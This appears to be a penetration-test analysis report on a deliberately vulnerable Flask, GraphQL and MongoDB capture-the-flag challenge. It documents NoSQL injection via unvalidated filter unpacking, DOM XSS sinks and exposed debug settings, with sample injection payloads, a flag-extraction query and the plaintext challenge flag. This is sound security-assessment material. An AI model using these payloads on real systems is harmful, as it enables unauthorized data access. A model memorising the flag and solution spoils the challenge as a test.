# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All subsequent tasks must adhere to this scope. Before reporting any finding (e.g., an entry point, a vulnerability sink), verification has been performed to ensure it meets the "In-Scope" criteria.

## In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

## Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

---

## 1. Executive Summary

This Flask-based GraphQL application presents a **CRITICAL security posture** with zero authentication, authorization, or input validation mechanisms. The application is a CTF challenge containing a flag stored in MongoDB, but the complete absence of security controls makes it vulnerable to trivial exploitation by external attackers.

The application exposes three primary network-accessible endpoints on port 5003: a web interface (`/`), a REST API wrapper (`/api/users`), and a GraphQL endpoint (`/graphql`) with an interactive GraphiQL interface enabled. All endpoints are publicly accessible without any authentication requirements. The most severe vulnerability is **NoSQL injection** in the GraphQL query resolver, which allows attackers to inject MongoDB operators and extract sensitive data including the CTF flag through a single HTTP request. Additionally, the application contains **three DOM-based XSS vulnerabilities** in the client-side JavaScript that render user-controlled data without sanitization.

The technology stack compounds these risks: Python 3.8 (end-of-life), Flask running in debug mode exposing the Werkzeug debugger, MongoDB with no authentication, and PhantomJS (abandoned since 2018) installed but unused. The application runs as root in a Docker container, amplifying the impact of any potential remote code execution. No security headers (CSP, HSTS, X-Frame-Options), CORS policies, rate limiting, or encryption (neither in transit nor at rest) are implemented. The architectural pattern is a monolithic GraphQL API with no trust boundaries, no defense-in-depth, and development configurations deployed to production. This represents a textbook case of insecure application design suitable only for controlled CTF environments and requiring complete security redesign before any production deployment.

---

## 2. Architecture & Technology Stack

### Framework & Language

The application is built on **Python 3.8.19** (officially end-of-life as of October 2024) running **Flask 3.0.3**, a lightweight WSGI web framework. The use of an EOL Python version creates significant security risk as it no longer receives security patches for newly discovered vulnerabilities. Flask itself is configured in the most insecure manner possible: `debug=True` mode is enabled in the production deployment (line 53 of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py`), which exposes the interactive Werkzeug debugger on error pages. This debugger can potentially be exploited for remote code execution if an attacker can trigger exceptions and bypass PIN protection through various documented techniques.

The application uses **Flask-GraphQL 2.0.1** to expose a GraphQL API, with the GraphiQL interactive interface explicitly enabled (`graphiql=True` at line 16 of `app/app.py`). This provides attackers with an in-browser IDE for exploring the entire API schema, testing queries, and discovering hidden fields like the `flag` field that is not displayed in the standard web interface. The backend database is **MongoDB (latest)** accessed through **MongoEngine 0.28.2**, a Python ODM (Object-Document Mapper). While MongoEngine provides some query abstraction, the application bypasses these protections by accepting arbitrary JSON from users and unpacking it directly into filter parameters using the `**kwargs` pattern.

From a security implications perspective, this technology stack creates multiple attack vectors: the EOL Python version contains unpatched CVEs, the debug mode enables information disclosure and potential RCE, the GraphiQL interface provides reconnaissance capabilities to attackers, and the MongoEngine filter pattern enables NoSQL injection. The application has zero dependencies on security-focused libraries—no authentication frameworks (Flask-Login, Flask-JWT-Extended), no input validation libraries (marshmallow, pydantic), no security middleware, and no rate limiting (Flask-Limiter).

### Architectural Pattern

The application follows a **monolithic GraphQL API** pattern with a hybrid REST endpoint serving as a wrapper around the GraphQL layer. The architecture is intentionally simple (102 lines of Python code across 4 files), but this simplicity concentrates all functionality into a single layer with no separation of concerns or trust boundaries. The request flow is direct and unprotected: HTTP request → Flask routing → GraphQL schema resolver → MongoDB query → HTTP response, with no authentication, authorization, or input validation at any stage.

From a trust boundary analysis perspective, this architecture is fundamentally insecure because it treats all incoming requests as equally trustworthy. There is no distinction between public and authenticated endpoints, no separation between administrative and user functions, and no isolation between different data sensitivity levels. The `is_admin` boolean field exists in the User data model (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/models.py` line 7) but is never checked or enforced anywhere in the application logic. The `flag` field, which should be restricted to administrative access, is exposed through the GraphQL schema (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/models.py` lines 10-13) and can be queried by anyone.

The application is deployed as a Docker containerized service with two containers orchestrated by Docker Compose: a Python 3.8-slim-buster web service running Flask on port 5003, and a MongoDB service on the internal network. The web service is exposed to the host on port 5003 with host binding `0.0.0.0`, making it accessible from any network interface. Critically, the Flask process runs as root inside the container (no USER directive in the Dockerfile), which means any code execution vulnerability would provide root-level access within the container environment. The MongoDB service has no authentication enabled and communicates over unencrypted `mongodb://` protocol on the internal Docker network.

### Critical Security Components

The analysis of critical security components reveals a stark reality: **none exist**. A comprehensive search of the entire codebase found zero implementation of authentication middleware, authorization decorators, input validation schemas, rate limiting, CSRF protection, security headers configuration, or encryption libraries. The application lacks fundamental security controls that would be considered baseline requirements for any production web application.

Specifically missing components include: (1) **No authentication framework** - the codebase does not import or use Flask-Login, Flask-HTTPAuth, Flask-JWT-Extended, Authlib, or any OAuth/OIDC libraries; (2) **No session management** - Flask's session capabilities are not configured, meaning no SECRET_KEY is set, and no session cookies with HttpOnly, Secure, or SameSite flags are defined; (3) **No input validation** - libraries like marshmallow, pydantic, cerberus, or wtforms are not present, and user input is accepted as raw JSON strings that are deserialized and passed directly to database queries; (4) **No security headers** - there is no configuration for CSP (Content Security Policy), HSTS (HTTP Strict Transport Security), X-Frame-Options, X-Content-Type-Options, or Referrer-Policy headers; (5) **No CORS policy** - Flask-CORS is not installed, allowing requests from any origin; (6) **No rate limiting** - Flask-Limiter or similar protections are absent, enabling unlimited API requests for brute force or DoS attacks.

The only security-relevant configuration found is the `is_admin` boolean field in the User model, but this represents security theater rather than actual protection since it is never checked or enforced in any endpoint handler or GraphQL resolver. The application's security posture can be accurately characterized as "security by obscurity" where the only protection is the assumption that attackers won't discover the GraphQL schema structure or won't realize they can inject MongoDB operators—both assumptions that are immediately invalidated by the exposed GraphiQL interface and lack of input validation.

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms

**Status: COMPLETELY ABSENT.** This application implements zero authentication mechanisms. A comprehensive code analysis of all four Python files (`app.py`, `schema.py`, `models.py`, `database.py`) found no login endpoints, no password verification logic, no token generation or validation, no session management, and no integration with any authentication provider.

There are **no API endpoints used for authentication** because authentication is not implemented. Specifically: (1) No login endpoint exists—searching for routes containing "login", "signin", "authenticate", or "auth" returned zero results; (2) No logout endpoint exists; (3) No password reset or account recovery endpoints exist; (4) No token refresh endpoints exist; (5) No user registration endpoints exist (users are seeded from the `reset_database()` function at application startup); (6) No multi-factor authentication (MFA) or two-factor authentication (2FA) implementation exists.

The User model (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/models.py` lines 4-8) contains only four fields: `username`, `email`, `is_admin`, and `flag`. Notably absent is any `password`, `password_hash`, `api_key`, or authentication credential field. This is intentional for a CTF challenge but would be catastrophic in any real-world application. The GraphQL schema (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/schema.py`) exposes a single query type (`users`) with no mutations for creating sessions, validating credentials, or managing user authentication state.

### Session Management and Token Security

**Session Cookie Configuration: NOT IMPLEMENTED.** Flask's session management capabilities are completely unused in this application. The critical finding is that **no session configuration exists anywhere in the codebase**.

**Exact File and Line Analysis:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py`
- **Line 8:** `app = Flask(__name__)` - Flask application instantiated with default configuration only
- **Missing Configuration:** The following Flask session security settings are NOT configured:
  - `SECRET_KEY` - NOT SET (required for signing session cookies)
  - `SESSION_COOKIE_HTTPONLY` - NOT SET (default: True in Flask 3.x, but no sessions exist)
  - `SESSION_COOKIE_SECURE` - NOT SET (should be True for HTTPS-only transmission)
  - `SESSION_COOKIE_SAMESITE` - NOT SET (should be 'Lax' or 'Strict' for CSRF protection)
  - `SESSION_COOKIE_DOMAIN` - NOT SET
  - `SESSION_COOKIE_PATH` - NOT SET
  - `PERMANENT_SESSION_LIFETIME` - NOT SET

Since no authentication exists, no sessions are created, and therefore no session cookies are ever set. The application is completely stateless from a user identity perspective—every request is treated identically with no concept of "logged in" vs. "logged out" users. There are no tokens (JWT, OAuth, or otherwise) generated, stored, or transmitted. This architectural decision means that session cookie security is a non-issue, but it also means that the application has no way to restrict access to sensitive operations or data.

### Authorization Model and Bypass Scenarios

**Authorization Status: DEFINED BUT NEVER ENFORCED.** The application contains the skeletal structure of a role-based authorization model (`is_admin` boolean field) but implements zero enforcement of these roles, creating a trivial bypass scenario where all users—including unauthenticated external attackers—have equivalent access to all data.

**Authorization Model Definition:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/models.py`, line 7
- **Role Field:** `is_admin = BooleanField(default=False)`
- **Role Assignment:** Two users seeded with `is_admin=True` during database initialization (lines 43-44 of `app.py`)

**Critical Authorization Bypass:**
The GraphQL resolver function (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/schema.py` lines 8-29) accepts an `is_admin` parameter (line 9) but **never uses it for authorization checks**. The parameter exists but is ignored in the resolver logic:

```python
def resolve_users(self, info, search=None, options=None, dummy=None, is_admin=None):
    query = User.objects()  # No authorization check
    
    if search:
        search_criteria = json.loads(search)
        query = query.filter(**search_criteria)  # User-controlled filter
    
    return query  # Returns ALL matched users regardless of requester permissions
```

**Potential Bypass Scenarios:**
1. **Direct Data Access:** Any external attacker can query the GraphQL endpoint and retrieve admin user data by crafting `search: "{\"is_admin\": true}"` parameter
2. **Flag Extraction:** The `flag` field is exposed in the UserType schema (lines 10-13 of `models.py`) with no field-level authorization, allowing anyone to query: `users(search: "{\"username\": \"admin2\"}") { flag }`
3. **No Permission Validation:** Since there is no concept of "who is making this request," there is no way to enforce "this user can only see their own data" or "only admins can access flags"
4. **GraphQL Introspection:** The GraphiQL interface allows attackers to discover all fields including `flag` and `is_admin` through introspection queries, even if these fields weren't documented

### Multi-Tenancy Security Implementation

**Not Applicable.** This is a single-tenant application with no multi-tenancy architecture. All users exist in the same MongoDB database (`appdb`) and the same collection (`user`). There are no tenant identifiers, no data partitioning, and no isolation mechanisms. If this were a multi-tenant system, the complete lack of authorization would enable cross-tenant data access, but the current architecture simply makes all data globally accessible to all requesters.

### SSO/OAuth/OIDC Flows

**Not Applicable.** This application does not implement or integrate with any Single Sign-On (SSO), OAuth, or OpenID Connect (OIDC) providers. There are no callback endpoints, no state/nonce parameter validation, and no token exchange mechanisms. The codebase does not import any OAuth libraries (Authlib, oauthlib, requests-oauthlib, python-jose) or OIDC clients.

**Security Impact Summary:**
The complete absence of authentication and authorization creates a scenario where the application is effectively "wide open" to any external attacker with network access. The HTTP-based protocol means that even if authentication were added, credentials would be transmitted in plaintext. The lack of session management means there is no mechanism for maintaining user state across requests. The unused `is_admin` field represents a dangerous false sense of security where developers may believe access control exists when it does not. For a CTF challenge, this is intentional design; for any other context, this would represent a complete security failure requiring ground-up redesign.

---

## 4. Data Security & Storage

### Database Security

The MongoDB deployment demonstrates a **complete absence of security controls**, creating a scenario where the database is as vulnerable as the application layer. The database connection is established through MongoEngine with a plaintext connection string defined in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/database.py` (lines 5-6):

```python
db = connect(db='appdb', host='mongo', port=27017)
```

**Critical Database Security Findings:**

**Encryption at Rest:** None. MongoDB is configured without encrypted storage engine. The Docker Compose configuration (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/docker-compose.yml` lines 19-27) launches MongoDB with no `--sslMode` or encryption parameters. All data including the CTF flag, user emails, and administrative flags are stored as plaintext BSON documents on disk. An attacker who gains filesystem access to the MongoDB container would have immediate access to all database contents without decryption.

**Encryption in Transit:** None. The connection string uses `mongodb://` (plaintext protocol) rather than `mongodb+srv://` (TLS-encrypted). Traffic between the Flask application container and MongoDB container traverses the Docker bridge network unencrypted, vulnerable to packet capture if an attacker compromises either container or the host network namespace.

**Database Authentication:** Completely disabled. The MongoDB service is launched without the `--auth` flag, and no username/password credentials exist in the connection string. The docker-compose.yml file (lines 19-27) shows MongoDB configuration with no `MONGO_INITDB_ROOT_USERNAME` or `MONGO_INITDB_ROOT_PASSWORD` environment variables. Any process with network access to the `mongo:27017` endpoint (including the Flask application, but also potentially other containers or compromised services) can perform unrestricted read/write operations on all databases.

**Access Controls:** None. With authentication disabled, MongoDB's role-based access control (RBAC) system is inactive. There are no user roles, database-level permissions, or collection-level restrictions. The concept of "least privilege" is not applicable when all operations are permitted for all connections.

**Query Safety:** Critically vulnerable to NoSQL injection. The GraphQL resolver (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/schema.py` lines 13-14) accepts user-provided JSON and unpacks it directly into MongoEngine filter parameters:

```python
search_criteria = json.loads(search)
query = query.filter(**search_criteria)  # NoSQL Injection vulnerability
```

While MongoEngine typically provides parameterized query protection, the `**kwargs` unpacking pattern bypasses this by allowing users to inject arbitrary MongoDB operators like `$ne`, `$regex`, `$where`, `$or`, and `$gt`. For example, an attacker can submit `{"email": {"$regex": ".*"}}` to bypass any intended filtering logic and enumerate all users.

### Data Flow Security

The sensitive data flow in this application can be traced from storage to exfiltration with no security controls at any stage:

**Data Flow Path:**
1. **Source:** `.env` file contains `FLAG="flag{0cc66709-2724-423d-bd08-7351e6bd8955}"` (plaintext on filesystem)
2. **Docker Build:** Dockerfile line 20-21 passes `ARG FLAG` → `ENV FLAG=${FLAG}` (visible via `docker inspect`)
3. **Application Runtime:** `os.getenv('FLAG')` in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py` line 41 loads flag into Python environment
4. **Database Storage:** Flag stored in MongoDB User collection, `admin2` document (plaintext BSON)
5. **GraphQL API:** Flag exposed via `UserType` schema field (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/models.py` lines 10-13)
6. **Network Transmission:** Flag transmitted over HTTP (plaintext) in GraphQL response JSON
7. **Client Receipt:** Flag rendered in browser or API client

**Protection Mechanisms:** None exist at any stage. The flag is never encrypted, hashed, or obfuscated. It flows from environment variables through application memory to database storage to network transmission without a single security control. The application also logs user data to stdout when debug mode is active, potentially exposing PII and flags in container logs accessible via `docker logs`.

**Sensitive Data Inventory:**
- **Flags:** CTF flag stored in `admin2` user document (highest sensitivity)
- **PII:** Email addresses for 5 users (medium sensitivity - could be used for social engineering)
- **Admin Status:** `is_admin` boolean (low sensitivity but exposes privileged accounts)
- **Usernames:** Publicly accessible (low sensitivity)

### Multi-Tenant Data Isolation

Not applicable—this is a single-tenant application with no data partitioning requirements. However, if this architecture were extended to support multiple organizations or user groups, the lack of any authorization framework would make data isolation impossible. There is no concept of "row-level security" or "query filtering by tenant ID" in the current implementation.

---

## 5. Attack Surface Analysis

### External Entry Points

The application exposes **three primary network-accessible endpoints** on port 5003, all of which are publicly accessible without authentication. Each endpoint represents a distinct attack vector with varying exploitation complexity, but all share the fundamental vulnerability of unrestricted access to the underlying GraphQL API and MongoDB database.

**Entry Point 1: Web Interface (`GET /`)**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py`, lines 20-22
- **Handler:** `index()` function renders `templates/index.html`
- **Attack Surface:** The web interface serves as the reconnaissance entry point, providing attackers with visibility into the application's functionality. The HTML template (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/templates/index.html`) includes client-side JavaScript that makes API calls to `/api/users`, revealing the application's API structure. The JavaScript file (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/static/js/scripts.js`) contains default search queries using regex patterns (`{"email": {"$regex": "^user"}}`) which inadvertently demonstrates to attackers that MongoDB query operators are accepted as input.
- **Risk Level:** MEDIUM (information disclosure, client-side XSS sinks)

**Entry Point 2: REST API Wrapper (`POST /api/users`)**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py`, lines 24-38
- **Handler:** `get_users()` function accepts JSON with `query` parameter
- **Request Format:** `Content-Type: application/json`, body: `{"query": "GraphQL query string"}`
- **Attack Surface:** This endpoint functions as a REST wrapper around the GraphQL schema, accepting GraphQL queries as string payloads and executing them server-side. It represents a critical vulnerability because it provides programmatic access to the GraphQL engine without requiring GraphiQL interface interaction. Attackers can script attacks using curl, Python requests, or any HTTP client to submit malicious queries. The endpoint performs minimal validation—it only checks that `response.errors` is empty and that `users` key exists in the response, but does not validate the structure or safety of the input query string.
- **Input Parameters:**
  - `query` (string, required): GraphQL query string parsed and executed by `schema.execute(query)`
- **Response Format:** JSON with `{"users": [...]}` on success or `{"errors": [...]}` on GraphQL query errors
- **Risk Level:** CRITICAL (NoSQL injection, unauthorized data access, flag extraction)

**Entry Point 3: GraphQL API with GraphiQL Interface (`GET/POST /graphql`)**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py`, lines 11-17
- **Handler:** `GraphQLView.as_view()` with `graphiql=True` configuration
- **Attack Surface:** This is the most dangerous entry point because it provides attackers with an interactive development environment (GraphiQL IDE) for exploring the API, discovering hidden fields, and crafting malicious queries. The GraphiQL interface offers:
  - **Schema Introspection:** Attackers can discover all types, fields, and arguments including the `flag` field through introspection queries
  - **Auto-completion:** The IDE suggests field names and query structures, reducing reconnaissance effort
  - **Real-time Testing:** Attackers can test NoSQL injection payloads interactively and observe results immediately
  - **Documentation Explorer:** Even without technical skill, attackers can browse the entire API structure
- **Query Parameters Accepted by GraphQL Resolver:**
  - `search` (String, optional): JSON string deserialized and unpacked into MongoDB filter (NoSQL injection vector)
  - `options` (String, optional): JSON string for pagination with `skip` and `limit` keys
  - `dummy` (String, optional): Unused parameter (possible future feature or red herring)
  - `is_admin` (Boolean, optional): Accepted but never enforced in authorization logic
- **Risk Level:** CRITICAL (reconnaissance, NoSQL injection, schema discovery, information disclosure)

### Internal Service Communication

The application architecture consists of two Docker containers communicating over an internal bridge network:

**Web Service (Flask Application):**
- **Container:** `xben-100-24_web_1` running Python 3.8-slim-buster
- **Internal Port:** 5003 (bound to host 0.0.0.0:5003)
- **User Context:** root (no USER directive in Dockerfile)
- **Network Access:** Full outbound internet access (no egress filtering)

**Database Service (MongoDB):**
- **Container:** `xben-100-24_mongo_1` running mongo:latest
- **Internal Port:** 27017 (not exposed to host)
- **User Context:** mongodb (default MongoDB user)
- **Authentication:** None (no `--auth` flag)

**Trust Relationship Analysis:**
The Flask application container implicitly trusts all data from MongoDB, and MongoDB trusts all connections from the Flask application. Since MongoDB has no authentication, any process that can reach the `mongo:27017` endpoint has unrestricted database access. If an attacker achieves code execution in the Flask container (e.g., via Werkzeug debugger PIN bypass or a future RCE vulnerability), they could directly connect to MongoDB and manipulate data, create administrative users, or exfiltrate all database contents.

The Docker Compose configuration (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/docker-compose.yml`) shows no network isolation between services—both use the default bridge network with no firewall rules, network policies, or service mesh protections. The Flask container's health check (line 14: `curl -f http://localhost:5003`) confirms the service is HTTP-only with no TLS termination at the application layer.

### Input Validation Patterns

**Status: COMPLETELY ABSENT.** The application performs zero input validation on user-supplied data, creating multiple injection vulnerabilities across all entry points.

**NoSQL Injection via Search Parameter:**
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/schema.py`, lines 11-16
- **Vulnerable Pattern:**
```python
if search:
    try:
        search_criteria = json.loads(search)
        query = query.filter(**search_criteria)  # No validation of JSON structure
    except json.JSONDecodeError:
        pass  # Silent failure—invalid JSON is ignored
```
- **Validation Gaps:**
  1. No whitelist of allowed field names (attackers can query any User model field)
  2. No blacklist of dangerous MongoDB operators (`$where`, `$regex`, `$ne`, `$or`, etc. are permitted)
  3. No type validation (fields expected to be strings can be replaced with objects containing operators)
  4. No depth/complexity limits (nested operator objects like `{"email": {"$not": {"$regex": "..."}}}` are allowed)
  5. Silent failure on invalid JSON—no logging or error reporting for malformed input

**DOM-Based XSS via Unsanitized Output:**
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/static/js/scripts.js`, lines 27-30
- **Vulnerable Pattern:**
```javascript
const row = $(`
    <tr>
        <td>${user.username}</td>
        <td>${user.email}</td>
        <td><button class="btn btn-sm btn-primary view-details" data-username="${user.username}">View</button></td>
    </tr>
`);
```
- **Validation Gaps:**
  1. No HTML encoding of `user.username` or `user.email` before insertion into DOM
  2. No Content Security Policy (CSP) headers to restrict inline script execution
  3. Template literals (`${}`) directly interpolate user data without sanitization
  4. jQuery `.append()` parses HTML, enabling script execution from data attributes

**Pagination Options Injection:**
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/schema.py`, lines 19-27
- **Vulnerable Pattern:**
```python
if options:
    try:
        options_criteria = json.loads(options)
        if 'skip' in options_criteria:
            query = query.skip(options_criteria['skip'])  # No numeric validation
        if 'limit' in options_criteria:
            query = query.limit(options_criteria['limit'])  # No upper bound
    except json.JSONDecodeError:
        pass
```
- **Validation Gaps:**
  1. No type validation (skip/limit could be negative numbers, extremely large values, or non-integers)
  2. No upper bound on `limit` (attackers could request all documents with `{"limit": 999999}`)
  3. No protection against resource exhaustion attacks

### Background Processing

**Status: NOT APPLICABLE.** The application is a synchronous Flask application with no background job processing, task queues (Celery, RQ, Dramatiq), or asynchronous workers. The `reset_database()` function (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py` lines 40-48) executes once at application startup in the main thread before the Flask development server starts, but this is not a background job—it's a synchronous database seeding operation.

There are no webhook handlers, scheduled jobs (cron, APScheduler), or event-driven processing that could introduce privilege escalation risks. All operations are request-response synchronous processing within the Flask application context.

---

## 6. Infrastructure & Operational Security

### Secrets Management

The application's secrets management can be characterized as **non-existent**, relying entirely on plaintext environment variables stored in version-controlled files and exposed through multiple channels.

**Secret Storage Locations:**

**Location 1: `.env` File (Version Controlled)**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/.env`, line 1
- **Content:** `FLAG="flag{0cc66709-2724-423d-bd08-7351e6bd8955}"`
- **Risk:** The `.env` file is committed to the repository (visible in git history), making the flag accessible to anyone with repository access. If this repository were public on GitHub, the flag would be indexed by search engines and secret scanning tools.

**Location 2: Docker Build Arguments**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/Dockerfile`, lines 20-21
- **Content:** 
```dockerfile
ARG FLAG
ENV FLAG=${FLAG}
```
- **Risk:** Build arguments are visible in Docker image history via `docker history <image>`. Environment variables set via ENV are baked into the image layers and visible via `docker inspect <container>`. Anyone with access to the Docker image or running containers can extract the flag.

**Location 3: Container Environment Variables**
- **Exposure:** `docker-compose.yml` line 11 passes `.env` file to container environment
- **Risk:** Environment variables are visible to:
  - Processes running in the container via `/proc/self/environ`
  - Host administrators via `docker exec -it <container> env`
  - Container orchestration APIs (Docker API, Kubernetes API)
  - Application logs if environment variables are printed (debug mode logs in this case)

**Secrets Rotation:** Not implemented. The flag is static with no rotation mechanism. If compromised, there is no procedure for invalidating old secrets and generating new ones.

**Secrets Encryption:** Not implemented. All secrets are plaintext with no use of encryption at rest (no HashiCorp Vault, AWS Secrets Manager, Sealed Secrets, or even basic GPG encryption).

### Configuration Security

The application's configuration demonstrates a **catastrophic failure to separate development and production environments**, deploying development-only configurations with severe security implications directly to the production-equivalent Docker deployment.

**Debug Mode Enabled in Production:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py`, line 53
- **Configuration:** `app.run(debug=True, host='0.0.0.0', port=5003)`
- **Security Implications:**
  1. **Werkzeug Debugger Exposure:** When exceptions occur, Flask returns interactive debugger pages containing full stack traces, local variable values, and a Python console. While protected by a PIN, various bypass techniques exist including brute force (PIN is deterministic based on machine ID and other extractable values) and privilege escalation through path traversal.
  2. **Automatic Code Reloading:** The application watches for file changes and reloads, which could be exploited if an attacker gains write access to application files.
  3. **Detailed Error Messages:** Stack traces expose internal file paths, library versions, and code structure, aiding reconnaissance.
  4. **Information Disclosure:** Environment variables, configuration values, and database connection details may leak through error pages.

**GraphiQL Interface Enabled in Production:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py`, line 16
- **Configuration:** `graphiql=True`
- **Security Implications:** This provides attackers with an interactive IDE for API exploration, schema introspection, and payload development. In production, this should always be disabled (`graphiql=False`) or restricted to authorized internal IP ranges.

**Security Headers Configuration:**
The application defines **zero security headers**. Analysis of the Flask application configuration and middleware stack found no implementation of HTTP security headers. Specifically absent:

**Missing Infrastructure Security Headers:**
No web server configuration (nginx, Apache, Cloudflare) exists in the codebase. The Flask development server serves requests directly without a reverse proxy. The following headers are not configured at any infrastructure layer:

1. **Strict-Transport-Security (HSTS):** Not configured. The application serves HTTP only (no HTTPS/TLS), so HSTS would be ineffective without first implementing TLS. No reverse proxy configuration (nginx.conf, Kubernetes Ingress, CDN settings) exists in the repository.
2. **Content-Security-Policy (CSP):** Not configured at application or infrastructure layer.
3. **X-Frame-Options:** Not configured, allowing clickjacking attacks.
4. **X-Content-Type-Options:** Not configured, allowing MIME confusion attacks.
5. **Cache-Control:** No cache control headers for sensitive responses, potentially allowing caching of flag data in browser or proxy caches.

**File System Structure:**
A search for infrastructure configuration files (nginx.conf, apache2.conf, Caddyfile, Ingress YAML, Cloudflare workers) found only the Dockerfile and docker-compose.yml with no reverse proxy or load balancer layer that could inject security headers.

### External Dependencies

**Python Package Dependencies:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/requirements.txt`
- **Dependencies:**
  - `Flask==3.0.3` - Web framework (current version, no known critical CVEs at time of analysis)
  - `flask-graphql==2.0.1` - GraphQL integration (outdated, last release 2020)
  - `graphene==3.3` - GraphQL library for Python
  - `mongoengine==0.28.2` - MongoDB ODM
- **Security Implications:** The dependency list is minimal, reducing attack surface from third-party libraries, but `flask-graphql` is no longer actively maintained. The package has not received updates in 4+ years, suggesting potential unpatched vulnerabilities.

**System Package Dependencies (Dockerfile):**
- **Base Image:** `python:3.8-slim-buster` - Debian Buster (oldoldstable as of 2024), end-of-life for standard support
- **PhantomJS Installation:** Lines 8-12 of Dockerfile install PhantomJS 2.1.1 (abandoned project since 2018, known security vulnerabilities)
- **Security Implications:** PhantomJS is not used anywhere in the codebase but is installed in the container, expanding the attack surface with an unmaintained binary. Debian Buster repositories are archived, requiring manual repository URL replacement (line 8: `sed` command to use archive.debian.org), indicating the base OS is beyond its support lifecycle.

**External Service Dependencies:**
- **MongoDB:** The application depends on MongoDB availability at `mongo:27017`. The docker-compose configuration uses `mongo:latest` (unpinned version), which could introduce breaking changes or vulnerabilities in future updates.
- **No Other External Services:** The application does not integrate with payment processors, email services, SMS gateways, cloud storage, or authentication providers, limiting the external service attack surface.

### Monitoring & Logging

**Security Event Visibility: MINIMAL TO NONE.** The application implements no structured logging framework, no security event monitoring, and no audit trail for access to sensitive data.

**Logging Implementation:**
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-100-24/app/app.py`, line 36
- **Code:** `print(users)` - Single print statement logging user query results to stdout
- **Format:** Unstructured plaintext output to container stdout (accessible via `docker logs`)
- **Security Implications:**
  1. **PII Leakage:** User emails and potentially flags are logged in plaintext to stdout
  2. **No Audit Trail:** No logging of who accessed what data, when, or from what IP address
  3. **No Intrusion Detection:** No logging of failed authentication attempts (N/A since no auth exists), suspicious query patterns, or NoSQL injection attempts
  4. **No Rate Limit Tracking:** No logs to detect brute force or DoS attacks

**Missing Security Logging:**
- No logging framework (logging module, structlog, loguru) configured
- No centralized logging (no ELK stack, Splunk, CloudWatch, or Datadog integration)
- No security information and event management (SIEM) integration
- No audit logs for data access (who queried the `flag` field)
- No error logging beyond Flask's default debug mode output
- No access logs with IP addresses, user agents, or request patterns

**Container-Level Logging:**
Docker Compose default logging captures container stdout/stderr, but this provides minimal value for security monitoring. The logs would show Flask's development server request logs (IP, method, path, status code) but no application-level security events.

---

## 7. Overall Codebase Indexing

The XBEN-100-24 application presents an intentionally minimalist codebase architecture designed for CTF (Capture The Flag) challenge deployment, consisting of only **102 lines of production Python code** across four core files within the `/app` directory. This extreme simplicity serves the dual purpose of reducing complexity for challenge participants while concentrating all security vulnerabilities into a small, auditable attack surface. The repository follows a flat structure with no subdirectories for business logic, utilities, or feature modules, making the entire application comprehensible through examination of fewer than ten files total.

The directory structure follows Flask conventions with standard locations for templates (`/app/templates/index.html`), static assets (`/app/static/js/scripts.js`), and application code (`/app/app.py` as the main entry point). The core application files are highly focused: `models.py` defines the single User document schema using MongoEngine, `database.py` establishes the MongoDB connection in six lines, `schema.py` implements the GraphQL query resolver in 31 lines, and `app.py` ties everything together with Flask routing and application initialization in 53 lines. This organization makes security component discovery trivial—there are no hidden authentication modules, scattered validation functions, or complex middleware chains to audit. Every security decision (or lack thereof) is immediately visible in the main application file.

